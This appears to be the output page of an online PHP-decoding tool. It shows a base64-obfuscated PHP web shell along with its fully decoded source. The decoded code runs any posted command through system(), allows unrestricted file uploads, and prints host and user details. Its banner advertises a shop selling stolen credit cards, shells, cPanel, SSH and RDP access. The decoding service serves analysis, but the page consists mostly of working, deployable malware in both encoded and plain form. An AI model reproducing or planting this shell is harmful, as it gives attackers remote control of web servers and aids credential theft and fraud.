Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('JHNhZmVtMGRlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYgKCEkc2FmZW0w..

Decoded Output download

$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "OFF";}
else {$security= "ON";}
echo '
<title>ccfresh simple shell</title>
<h3><a href="http://ccfresh.ml/" style="text-decoration:none;" target="_blank"><font color="blue">ccfresh.ml</font></a></h3>
<p><b>Ready Stock</b></br>
| CC Fresh | Mailer | Leads | sHell | cPanel | SSH | RDP |</p>
<b>SAFE_MODE : '.$security.'</b></br>
<b>Uname : '.php_uname().'</b></br>
<b>uid= '.getmyuid().' ('.get_current_user().') gid='.getmygid().'</b></br>
<b>cwd : '.getcwd().'</b></br>
';
?>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
<table>
<tr><td><input type="text" name="go" size="35"></td><td><input type="submit" value="Command" style="width: 75px; height: 20px;"></td></tr>
</form>
<form method="POST" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF'];?>">
<tr><td><input type="file" name="myFile"></td><td><input type="submit" name="ok" value="Upload" style="width: 75px; height: 20px;"></td></tr>
</table>
</form>
<?php
if (isset($_POST['ok']) && isset($_FILES['myFile'])) {
$file = $_FILES['myFile']['tmp_name'];
$name = $_FILES['myFile']['name'];
if (!move_uploaded_file($file, $name)) {
echo '<b><font color="red">Unable to upload file</font></b>';
} else {
echo 'Success Uploaded File <b><font color="green">'.$name.'</font></b>';
}
}
if (isset($_POST['go'])) {
echo "<pre>";
system($_POST['go']);
echo "</pre>";
exit;
}

Did this file decode correctly?

Original Code

<?php eval(base64_decode('JHNhZmVtMGRlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYgKCEkc2FmZW0wZGUpIHskc2VjdXJpdHk9ICJPRkYiO30NCmVsc2UgeyRzZWN1cml0eT0gIk9OIjt9DQplY2hvICcNCjx0aXRsZT5jY2ZyZXNoIHNpbXBsZSBzaGVsbDwvdGl0bGU+DQo8aDM+PGEgaHJlZj0iaHR0cDovL2NjZnJlc2gubWwvIiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOm5vbmU7IiB0YXJnZXQ9Il9ibGFuayI+PGZvbnQgY29sb3I9ImJsdWUiPmNjZnJlc2gubWw8L2ZvbnQ+PC9hPjwvaDM+DQo8cD48Yj5SZWFkeSBTdG9jazwvYj48L2JyPg0KfCBDQyBGcmVzaCB8IE1haWxlciB8IExlYWRzIHwgc0hlbGwgfCBjUGFuZWwgfCBTU0ggfCBSRFAgfDwvcD4NCjxiPlNBRkVfTU9ERSA6ICcuJHNlY3VyaXR5Lic8L2I+PC9icj4NCjxiPlVuYW1lIDogJy5waHBfdW5hbWUoKS4nPC9iPjwvYnI+DQo8Yj51aWQ9ICcuZ2V0bXl1aWQoKS4nICgnLmdldF9jdXJyZW50X3VzZXIoKS4nKSBnaWQ9Jy5nZXRteWdpZCgpLic8L2I+PC9icj4NCjxiPmN3ZCA6ICcuZ2V0Y3dkKCkuJzwvYj48L2JyPg0KJzsNCj8+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiI+DQo8dGFibGU+DQo8dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJnbyIgc2l6ZT0iMzUiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb21tYW5kIiBzdHlsZT0id2lkdGg6IDc1cHg7IGhlaWdodDogMjBweDsiPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij4NCjx0cj48dGQ+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Im15RmlsZSI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ib2siIHZhbHVlPSJVcGxvYWQiIHN0eWxlPSJ3aWR0aDogNzVweDsgaGVpZ2h0OiAyMHB4OyI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoaXNzZXQoJF9QT1NUWydvayddKSAmJiBpc3NldCgkX0ZJTEVTWydteUZpbGUnXSkpIHsNCiRmaWxlID0gJF9GSUxFU1snbXlGaWxlJ11bJ3RtcF9uYW1lJ107DQokbmFtZSA9ICRfRklMRVNbJ215RmlsZSddWyduYW1lJ107DQppZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZSwgJG5hbWUpKSB7DQplY2hvICc8Yj48Zm9udCBjb2xvcj0icmVkIj5VbmFibGUgdG8gdXBsb2FkIGZpbGU8L2ZvbnQ+PC9iPic7DQp9IGVsc2Ugew0KZWNobyAnU3VjY2VzcyBVcGxvYWRlZCBGaWxlIDxiPjxmb250IGNvbG9yPSJncmVlbiI+Jy4kbmFtZS4nPC9mb250PjwvYj4nOw0KfQ0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnZ28nXSkpIHsNCmVjaG8gIjxwcmU+IjsNCnN5c3RlbSgkX1BPU1RbJ2dvJ10pOw0KZWNobyAiPC9wcmU+IjsNCmV4aXQ7DQp9'));?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 bc080b946e866b91466ddcb9406d1be3
Eval Count 1
Decode Time 146 ms